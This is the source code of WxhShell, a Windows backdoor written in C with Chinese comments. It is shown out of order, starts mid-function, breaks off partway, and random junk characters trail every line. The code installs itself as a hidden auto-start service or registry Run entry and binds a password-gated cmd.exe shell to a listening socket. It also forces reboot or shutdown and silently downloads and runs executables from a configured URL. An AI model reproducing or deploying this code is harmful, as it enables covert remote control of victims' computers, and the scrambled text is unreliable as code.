  // 关机 [HILK `@@  
  case 'd': { |}=eY?iXo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &A0OYV3i.  
    if(Boot(SHUTDOWN)) q'mh*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]m+%y+  
    else { 1VJ${\H]  
    closesocket(wsh); '(vZfzc{J  
    ExitThread(0); h(|T.  
    } cN,*QN  
    break; sYKx 3[V/  
    } 0 +=sBk (  
  // 获取shell rB[J*5v  
  case 's': { !T0I; j&  
    CmdShell(wsh); ]\pi!oa  
    closesocket(wsh); Y1PR?c Q  
    ExitThread(0); rpow@@ad<  
    break; Z[?n{vD7  
  } s$M(-"mg  
  // 退出 z!}E2j_9P  
  case 'x': {  3 xyrWl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dtTn]}J  
    CloseIt(wsh); R"t#dG]1t  
    break; Wiis<^)  
    } -xtT,^<B  
  // 离开 ;.}L# '0j  
  case 'q': { YC6T0m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Tnjha*  
    closesocket(wsh); }_+XN"}C  
    WSACleanup(); CNNqS^ct  
    exit(1); khy'Y&\F;  
    break; ;<+efYmyc  
        } U^PXpNQ'  
  } D \ rns+  
  } _o~ pVBl/  
L)'G_)Sl  
  // 提示信息 #T)Gkc"{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u]*7",R uU  
} _pdKcE\X  
  } LK'(OZ  
K=f4<tP_  
  return; p $Tk;;wm  
} opa/+V3E4  
XFhH+4#]  
// shell模块句柄 !Rv ;~f/2  
int CmdShell(SOCKET sock) s$fM,l:!  
{ j7!u;K^c  
STARTUPINFO si; VEWW[ T  
ZeroMemory(&si,sizeof(si)); lelmX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !U`4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P'~`2W0sz  
PROCESS_INFORMATION ProcessInfo; Z %pc"  
char cmdline[]="cmd"; v`4w=!4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N'b GL%  
  return 0; x1:mT[[$  
} t 24`*'  
W?Z>g"  
// 自身启动模式 'o&d!  
int StartFromService(void) hb3n- rO  
{ zjoo;(?D|  
typedef struct u|<?m A!  
{ ed'[_T}T3t  
  DWORD ExitStatus; j*3;G+  
  DWORD PebBaseAddress; Gamn,c9  
  DWORD AffinityMask; U5"u h} 3  
  DWORD BasePriority; =1[_#Moc6  
  ULONG UniqueProcessId; YdD; Qx#O  
  ULONG InheritedFromUniqueProcessId; 9~V'Wev  
}   PROCESS_BASIC_INFORMATION; s9C^Cy^su  
)WvKRp r  
PROCNTQSIP NtQueryInformationProcess; SkDr4kds  
{t;o^pUF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9d1km~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jr6 0;oK+  
jt oS{B,  
  HANDLE             hProcess; ;Tbo \Wp9  
  PROCESS_BASIC_INFORMATION pbi; her>L3G-E  
Dbn ~~P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2*snMA  
  if(NULL == hInst ) return 0; 2D!jVr!  
fDr$Wcd~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [>NMuwtG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _4oAk @A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q%,86A>  
|ts0j/A]Pi  
  if (!NtQueryInformationProcess) return 0; )Q1aAS3  
wai3g-`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =*fq5v  
  if(!hProcess) return 0; ]2u   
";U~wZW_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +~=a$xA[C  
J>R $K  
  CloseHandle(hProcess); fDYTupKXH  
Sk EI51]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nHRsr x  
if(hProcess==NULL) return 0; 7s^b@&Le  
3^KR{N p  
HMODULE hMod; &Sb)a  
char procName[255]; Zf>:h   
unsigned long cbNeeded; .]E"w9~  
ta95]|z"j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {zZ)JWM<w  
VMABj\yG  
  CloseHandle(hProcess); KxErWP%  
pku\)  
if(strstr(procName,"services")) return 1; // 以服务启动 V|A)f@ Fs  
Gt{%O>P8t  
  return 0; // 注册表启动 G#Bm">+  
} io\t>_  
7x.j:{2  
// 主模块 4wv0~T$;x  
int StartWxhshell(LPSTR lpCmdLine) q-CgX wU  
{ "~ =O`5V  
  SOCKET wsl; 6 JI8l`S  
BOOL val=TRUE; AxEdQRGk  
  int port=0; w nBvJb]4l  
  struct sockaddr_in door; Q|[^dju  
DN%JT[7  
  if(wscfg.ws_autoins) Install(); zvGncjMkC  
!pj&h0CR  
port=atoi(lpCmdLine); a`:F07r  
){mqo%{SO  
if(port<=0) port=wscfg.ws_port; Vk`Uz1*  
7*K2zu3  
  WSADATA data; (mbm',%-(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^f N/  
y%9Hu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #'@@P6o5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <iH   
  door.sin_family = AF_INET; oNYFbZw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ Y{  
  door.sin_port = htons(port); 'k}w|gNB  
C[{E8Tg/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v6wg,,T  
closesocket(wsl); e34g=]"  
return 1; [OPF3W3z  
} <}.!G>X  
;y7+Q  
  if(listen(wsl,2) == INVALID_SOCKET) { :3s^, g  
closesocket(wsl); A:4&XRYZY  
return 1; jq#`cay!  
} B^]Gv7-  
  Wxhshell(wsl); FQ 0 ;%Z  
  WSACleanup(); InRRcn(  
<3ep5`1   
return 0; g/FT6+&T.  
.i )n1  
} kZ6:= l  
Rxr?T-  
// 以NT服务方式启动 pKLNBR|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sUQ Q/F6  
{ ew,okRCN  
DWORD   status = 0; 0dsL%G~/N  
  DWORD   specificError = 0xfffffff; (+xT5 2  
fGA#0/_`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :)4c_51 `  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *aFh*-Sj2I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C]3:&dx9  
  serviceStatus.dwWin32ExitCode     = 0; Q t>|TGz  
  serviceStatus.dwServiceSpecificExitCode = 0; ;gAL_/_  
  serviceStatus.dwCheckPoint       = 0; y\CxdTs  
  serviceStatus.dwWaitHint       = 0; !?J- Y  
Wwr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <Voct  
  if (hServiceStatusHandle==0) return; Nw"?~"bo  
|#BN!kc  
status = GetLastError(); P;K3T![  
  if (status!=NO_ERROR) g-ZXj4Ph!  
{ 6Z=Qs=q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; De{ZQg)  
    serviceStatus.dwCheckPoint       = 0; OwNo$b]h`  
    serviceStatus.dwWaitHint       = 0; f<oU" WM  
    serviceStatus.dwWin32ExitCode     = status; u"wWekB  
    serviceStatus.dwServiceSpecificExitCode = specificError; P0sAq7"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JrX. f  
    return; Q`;eI a6U  
  } ?'H+u[1.  
$Xu/P5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K3WaBcm  
  serviceStatus.dwCheckPoint       = 0; O.\\)8xA  
  serviceStatus.dwWaitHint       = 0; 0r i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D6fd(=t1Z  
} sO(4F8cpU  
xoGrXt9&  
// 处理NT服务事件,比如:启动、停止 f+1'Ah0'E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !g)rp`?  
{ ^ uwth  
switch(fdwControl) u]`0QxvZ  
{ H;q[$EUNb  
case SERVICE_CONTROL_STOP: kkMChe};5  
  serviceStatus.dwWin32ExitCode = 0; M)Z!W3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >#gDk K  
  serviceStatus.dwCheckPoint   = 0; %~>-nqS  
  serviceStatus.dwWaitHint     = 0; >M##q?.  
  { ZSD7%gE<D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ufw[Ei$I:  
  } Y%|dM/a`  
  return; iTT%_-X-  
case SERVICE_CONTROL_PAUSE: }s6Veosl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4vvQ7e7  
  break; agkKm?xIL  
case SERVICE_CONTROL_CONTINUE: f|F=)tJO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]$s b<o .a  
  break; 5v`lCu]  
case SERVICE_CONTROL_INTERROGATE: BgDWl{pm  
  break; iC>%P&|-)|  
}; t y4R2LnC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7!v=X]i  
} a'n17d&  
@0NWc c+  
// 标准应用程序主函数 bu $u@:q 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c5 AaUza  
{ )^"V}z t  
.c@Y ?..+  
// 获取操作系统版本 DnG9bVm>  
OsIsNt=GetOsVer(); $d4&H/u^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P|p X F~  
VN\VTSZh?\  
  // 从命令行安装 0w< ilJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); )l! `k  
?U O aqcL  
  // 下载执行文件 7sWe32  
if(wscfg.ws_downexe) { j(K)CHH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lFSvHs5  
  WinExec(wscfg.ws_filenam,SW_HIDE); nD]Mg T  
} N7 hlM  
W,H=K##6<  
if(!OsIsNt) { q bCU&G|)  
// 如果时win9x,隐藏进程并且设置为注册表启动 3;wiwN'  
HideProc(); /lPnf7  
StartWxhshell(lpCmdLine); v,z~#$T&  
} D]rYg'  
else 0 z]H=  
  if(StartFromService()) ocMTTVo  
  // 以服务方式启动 S#HeOPRL  
  StartServiceCtrlDispatcher(DispatchTable); pzUr9  
else v^F00@2I  
  // 普通方式启动 3/uvw>$  
  StartWxhshell(lpCmdLine); .3VL  
TX@ed  
return 0; J=(i0A  
} 0=t2|,}  
L+T7Ge q  
GO@<?>K  
v&7<f$5  
=========================================== i+< v7?:`#  
n9k  
,O:p`"3`0=  
Y6hV ;[\F  
UJ%.KU%Q}  
yV(9@lj3;  
" r!eW]M  
So e2Gq  
#include <stdio.h> N#)Klq87z  
#include <string.h> 9HiyN>(  
#include <windows.h> NZADHO@0  
#include <winsock2.h> I@O9bxR?  
#include <winsvc.h> /-m)  
#include <urlmon.h> %[9ty`UE  
/YU8L  
#pragma comment (lib, "Ws2_32.lib") #f_'&m  
#pragma comment (lib, "urlmon.lib") bwP@}(K  
?p 4iXHE  
#define MAX_USER   100 // 最大客户端连接数 ]q[(z  
#define BUF_SOCK   200 // sock buffer w^ofH-R/  
#define KEY_BUFF   255 // 输入 buffer MZcvr9y  
HkhZB^_V  
#define REBOOT     0   // 重启 CyHHV  
#define SHUTDOWN   1   // 关机 t l7:L>  
X%JyC_~<  
#define DEF_PORT   5000 // 监听端口 Uam %u  
JdUdl_D z  
#define REG_LEN     16   // 注册表键长度 s6 (md<r  
#define SVC_LEN     80   // NT服务名长度 O'#;Ge/,  
4${3e Sg_  
// 从dll定义API h"Wpb}FT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5WxNH}{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jOGiT|A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O7LJ-M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YPq:z"`-y4  
$ve$Sq  
// wxhshell配置信息 6-/W4L)?>  
struct WSCFG { 0.nkh6 ?  
  int ws_port;         // 监听端口 Qy4Pw\  
  char ws_passstr[REG_LEN]; // 口令 (Pw,3CbJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no p}/D{|xO  
  char ws_regname[REG_LEN]; // 注册表键名 pr4y*!|Y$  
  char ws_svcname[REG_LEN]; // 服务名 mJ5%+.V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DcM/p8da  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WS.g` %  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -O=xgvh"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ^4Xsdh5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wTZ(vX*mK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fi~@J`  
f O+lD  
}; #8M^;4N >[  
L2}<2  
// default Wxhshell configuration BzWkZAX  
struct WSCFG wscfg={DEF_PORT, ;1nXJ{jKw  
    "xuhuanlingzhe", <n~.X<6V'  
    1, J]S30&?  
    "Wxhshell", ed_+bCNy  
    "Wxhshell", /Ix5`Q)  
            "WxhShell Service", ohJDu{V  
    "Wrsky Windows CmdShell Service", _:5t~29  
    "Please Input Your Password: ", Z0y~%[1X  
  1, .v'`TD).6  
  "http://www.wrsky.com/wxhshell.exe", 5P\A++2 2Y  
  "Wxhshell.exe" Lw(tO0b2H  
    }; <}8G1<QZ'.  
KECW~e`  
// 消息定义模块 [cznhIvyO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mk973 'K'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F!/-2u5gF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `T7TWv"M  
char *msg_ws_ext="\n\rExit."; I2SH j6 -  
char *msg_ws_end="\n\rQuit."; mQ`2c:Rn&7  
char *msg_ws_boot="\n\rReboot..."; I} +up,B]o  
char *msg_ws_poff="\n\rShutdown..."; d&Nji%Ej  
char *msg_ws_down="\n\rSave to "; \QF0(*!!  
; 8eGf'  
char *msg_ws_err="\n\rErr!"; HyKA+ 7}  
char *msg_ws_ok="\n\rOK!"; 1ZYo-a;)  
k4u/v n`&r  
char ExeFile[MAX_PATH]; $9r4MMs{$  
int nUser = 0; ONy\/lu|  
HANDLE handles[MAX_USER]; c$BH`" <*  
int OsIsNt; XIZN9/;  
h7TkMt[l  
SERVICE_STATUS       serviceStatus; R2C~.d_TDu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ty~z%=H  
=h|cs{eT\2  
// 函数声明 L+ XAbL)  
int Install(void); j;z7T;!i  
int Uninstall(void); x{K"z4xbI  
int DownloadFile(char *sURL, SOCKET wsh); J-uQF|   
int Boot(int flag); -Eq[J k  
void HideProc(void); &=n/h5e0t&  
int GetOsVer(void); nHq4f&(H  
int Wxhshell(SOCKET wsl); "Y^ 9g/  
void TalkWithClient(void *cs); R4JfH  
int CmdShell(SOCKET sock); f>4|>kS  
int StartFromService(void); %0/qb0N&  
int StartWxhshell(LPSTR lpCmdLine); mD&I6F[s  
S ~fz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZnzO]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ']I!1>v$[  
j3N d4#  
// 数据结构和表定义 /EP zT7  
SERVICE_TABLE_ENTRY DispatchTable[] = &IzNoB  
{ >$- YNZA   
{wscfg.ws_svcname, NTServiceMain}, ePJ_O~c  
{NULL, NULL} xL i3|^q  
}; 8-k`"QI=  
4KR`  
// 自我安装 p=E#!cn3  
int Install(void) r<:d+5"  
{ <Z.{q Zd  
  char svExeFile[MAX_PATH]; p'%S{v@5((  
  HKEY key; |o9`h9i  
  strcpy(svExeFile,ExeFile); \O;/wf0Hg  
){'<67dK  
// 如果是win9x系统,修改注册表设为自启动 'xG J;pY  
if(!OsIsNt) { 'bSWJ/;p)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *>mjUT}cP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }d>.Nj#zh  
  RegCloseKey(key); ' 7oCWHq[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A/UOcl+N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Sgsy^|N  
  RegCloseKey(key); U!uJ)mm  
  return 0; "!AtS  
    } !uIY,  
  } $%"hhju  
} UQ;2g\([  
else { 4 ?PB Fbd  
D&ua A-;s  
// 如果是NT以上系统,安装为系统服务 3F!)7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (?^F }]  
if (schSCManager!=0) h^Yh~84T  
{ -=gI_wLbM  
  SC_HANDLE schService = CreateService PI`Y%!P  
  ( ]u$tKC  
  schSCManager, D86F5HT}}  
  wscfg.ws_svcname, Y,}h{*9Kd  
  wscfg.ws_svcdisp, oi,KA  
  SERVICE_ALL_ACCESS, &g23tT#P?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?6&G:Uz/  
  SERVICE_AUTO_START, U>.5vK.+  
  SERVICE_ERROR_NORMAL, wXqwb|2  
  svExeFile, \ctzv``/n  
  NULL, /.!&d^  
  NULL, 2}/r>]9^-  
  NULL, mk!8>XvM  
  NULL, JBJ?|}5k4c  
  NULL U; <{P  
  ); OAW_c.)5D  
  if (schService!=0) VWK/(>TP  
  { +$(y2F7|u-  
  CloseServiceHandle(schService); !A% vR\  
  CloseServiceHandle(schSCManager); Gsy>"T{CY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %@)q=*=y  
  strcat(svExeFile,wscfg.ws_svcname); Q#ksf h!D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ps,Kj3^T<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nXb_\ 9E  
  RegCloseKey(key); a`^$xOK,  
  return 0; R_GA`U\ {  
    } -]u>kjiIT  
  } is^R8a  
  CloseServiceHandle(schSCManager); K3tW Y 4-  
} Oe@w$?  
} xy!E_CuC$  
t5K#nRd Z:  
return 1; _:tS-Mx@5  
} |4j6}g\  
9IG<9uj  
// 自我卸载 (0LA.aBIf  
int Uninstall(void) 'sa)_?Hy  
{ B= E/|J</  
  HKEY key; 4Y1^ U{A+  
Vb JE zl  
if(!OsIsNt) { { 6qxg_{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PY8)39@K  
  RegDeleteValue(key,wscfg.ws_regname); ip{ b*@K  
  RegCloseKey(key); )c9Xp:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %_p]6doF  
  RegDeleteValue(key,wscfg.ws_regname); 1'TS!/ll];  
  RegCloseKey(key); KV&6v`K/N  
  return 0; tCR~z1  
  } Xg_l4!T_l  
} ,d_rK\J  
} gjnEN1T22  
else { 06.8m;{N  
[`tNa Vg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q7v1xBM  
if (schSCManager!=0) 09Eg ti.  
{ >< S2o%u~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5pY|RV6:  
  if (schService!=0) hDUU_.q)D  
  { Y|hd!C-x  
  if(DeleteService(schService)!=0) { hmuhq:<f  
  CloseServiceHandle(schService); x]%,?Vd?  
  CloseServiceHandle(schSCManager); |)%H_TXTy  
  return 0; W)  
  } :-hVbS0I  
  CloseServiceHandle(schService); =<aFkBX-  
  } ~Cynw(  
  CloseServiceHandle(schSCManager); W}zq9|p  
} eUR+j?5I  
} 3syA$0TZt  
u` (yT<>H  
return 1; ObreDv^,  
} /FPO'} 6i  
!a!4^zqp  
// 从指定url下载文件 RK$(  
int DownloadFile(char *sURL, SOCKET wsh) 5t_Dt<lIz  
{ 6iEg]FI  
  HRESULT hr; @/$i -?E  
char seps[]= "/"; *(]ZdB_2  
char *token; oGg<s3;UND  
char *file; QpoC-4F  
char myURL[MAX_PATH]; r[7*1'. p  
char myFILE[MAX_PATH]; hV) `e"r\s  
>X"\+7bw  
strcpy(myURL,sURL); L@Qvj-5e  
  token=strtok(myURL,seps); #(+V&< K  
  while(token!=NULL) sP% b? 6  
  { swJQwY   
    file=token; o :4#Ak S  
  token=strtok(NULL,seps); 8.IenU9  
  } Clap3E|a  
[[';Hi^  
GetCurrentDirectory(MAX_PATH,myFILE); -'*<;]P+.  
strcat(myFILE, "\\"); NB.'>Sar  
strcat(myFILE, file); \,v+ejhw  
  send(wsh,myFILE,strlen(myFILE),0); "d}ey=$h4  
send(wsh,"...",3,0); rp[3?-fk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H5UF r,t  
  if(hr==S_OK) 2hryY  
return 0; |}<Gz+E>  
else #Oq.}x?i  
return 1; ?FR-a Xx  
D$NpyF.87  
} "oF)u1_?  
~0?B  
// 系统电源模块 d:#tN4y7(  
int Boot(int flag) =2} kiLKO  
{ w $`w  
  HANDLE hToken; ^7=7V0>,:  
  TOKEN_PRIVILEGES tkp; iY&I?o!Ch  
KU]o=\ak%  
  if(OsIsNt) { yg~@} _C2_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5)hfI7{d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |z:4T%ES  
    tkp.PrivilegeCount = 1; 0 ?gHRdU"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G\V*j$}!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =1,1}OucP  
if(flag==REBOOT) { ?k;htJcGv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y#=MN~##t  
  return 0; Y| ch ;  
} S3E5^n\\  
else { %k )H7nj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D&~%w!  
  return 0; Vry_X2  
} HSAr6h  
  } 6h %rt]g  
  else { g0B%3v  
if(flag==REBOOT) { G|8>Q3D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r`h".=oD  
  return 0; =_ b/ g  
} ={N1j<%fh  
else { #Q*V9kvU/H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BNI)y@E^X  
  return 0; n&?)gKL0g  
} <1<xSr  
} W7!iYxO  
}N$f=:iI  
return 1; RgQs`aI  
} lmD [Cn  
n 9`]}bnX  
// win9x进程隐藏模块 G43r85LO  
void HideProc(void) {P_7AM  
{ Fkq^2o ]  
_nxH;Za  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C_8_sb Z/  
  if ( hKernel != NULL ) VY+P c/b  
  { FU>KiBV#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X?n=UebO^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SPt/$uYJ  
    FreeLibrary(hKernel); dl6U]v=  
  } h,]VWG  
;+6><O!G  
return; 6o(IL-0]c  
} 6ST(=X_C  
pi/0~ke4"  
// 获取操作系统版本 !jSgpIp  
int GetOsVer(void) ()O&O+R|)  
{ }f?[m&<  
  OSVERSIONINFO winfo; ctLNzJes%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZILJXX4  
  GetVersionEx(&winfo); y1Z>{SDiq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ci$J?a  
  return 1; q#8yU\J|,  
  else J@6j^U  
  return 0; 3,6f}:CG  
} OWT%XUW=  
dr:x0>  
// 客户端句柄模块 Rb& 9!z  
int Wxhshell(SOCKET wsl) 2b^Fz0 w4  
{ dM= &?g  
  SOCKET wsh; f(~N+2}  
  struct sockaddr_in client; Y7r;}^+WY  
  DWORD myID; n-l_PhPQ`  
!|H,g wqU  
  while(nUser<MAX_USER) /(51\RYkir  
{ |vl~B|",  
  int nSize=sizeof(client); KU9FHN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S_Wq`I@b  
  if(wsh==INVALID_SOCKET) return 1; =f{v:n6  
/]!2 k9u\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;(Ug]U%3_  
if(handles[nUser]==0) v x/YWZ  
  closesocket(wsh); $Vq5U9-  
else \WE&5 9G  
  nUser++; o9"?z  
  } DR}I+<*%aD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p8%qU>~+4  
xwof[BnEZ  
  return 0; 7)r]h?  
} # 5)/B  
_r{H)}9  
// 关闭 socket f?)7MR=  
void CloseIt(SOCKET wsh) PD.$a-t  
{ |zpy!X3  
closesocket(wsh); *0!p_Hco  
nUser--; $a*7Q~4  
ExitThread(0); NF6xKwRU]_  
} DMG~56cTO,  
%N<5ST>(  
// 客户端请求句柄 hDJG.,r  
void TalkWithClient(void *cs) )PP yJ@M  
{ 8e*skL  
K%\r[NF  
  SOCKET wsh=(SOCKET)cs; b^ h_`  
  char pwd[SVC_LEN]; a- rR`  
  char cmd[KEY_BUFF]; @`4T6eL5  
char chr[1]; ^ WO3,  
int i,j; cE 'LE1DK  
<Q9l'u]3$c  
  while (nUser < MAX_USER) { _90D4kGU  
kWZY+jyt P  
if(wscfg.ws_passstr) { W{"sB:E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 018SFle  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BA2"GJvfIA  
  //ZeroMemory(pwd,KEY_BUFF); O?Bf (y  
      i=0; v7 *L3Ol  
  while(i<SVC_LEN) { nXLz<wE  
j}ob7O&U'w  
  // 设置超时 Mu[lk=jC  
  fd_set FdRead; #:gl+  
  struct timeval TimeOut; [8sYEh  
  FD_ZERO(&FdRead); OVi < d  
  FD_SET(wsh,&FdRead); Ul_Zn  
  TimeOut.tv_sec=8; >80k5$t  
  TimeOut.tv_usec=0; `z(o01y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .))j R:{3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x:MwM?  
T:@6(_Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H%vfRl3rB  
  pwd=chr[0]; Gg'!(]v  
  if(chr[0]==0xd || chr[0]==0xa) {  O>]i?  
  pwd=0; 9m)$^U>oz  
  break; o{,I O!q  
  } )Ri!  
  i++; }S u j=oFp  
    } ;m7G8)I  
l!x+K&  
  // 如果是非法用户,关闭 socket Q`9c/vPU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {k3ItGQ_  
} mxgT}L0i  
p6<JpW5@_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M/p9 I gp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RBrb7D{  
q!:dZES  
while(1) { 2@ZVEN  
@FN|=?8%  
  ZeroMemory(cmd,KEY_BUFF); ]!{S2x&"  
*ai~!TR  
      // 自动支持客户端 telnet标准   ^H.B6h?  
  j=0; %jjPs .  
  while(j<KEY_BUFF) { ev;&n@k_I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2]mV9B   
  cmd[j]=chr[0]; m~ ah!QM  
  if(chr[0]==0xa || chr[0]==0xd) { T5u71C_wmt  
  cmd[j]=0; EN2t}rua  
  break; 3LETzsJ  
  } 2V)+ ba|+  
  j++; |iH MAo  
    } C~pas~  
@. -S(MNR  
  // 下载文件 _l7_!Il_  
  if(strstr(cmd,"http://")) { O"'xAPQW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wmGcXBHt$  
  if(DownloadFile(cmd,wsh)) Qz[^J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kz42AC  
  else G*N[tw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .m]}Ba}J$  
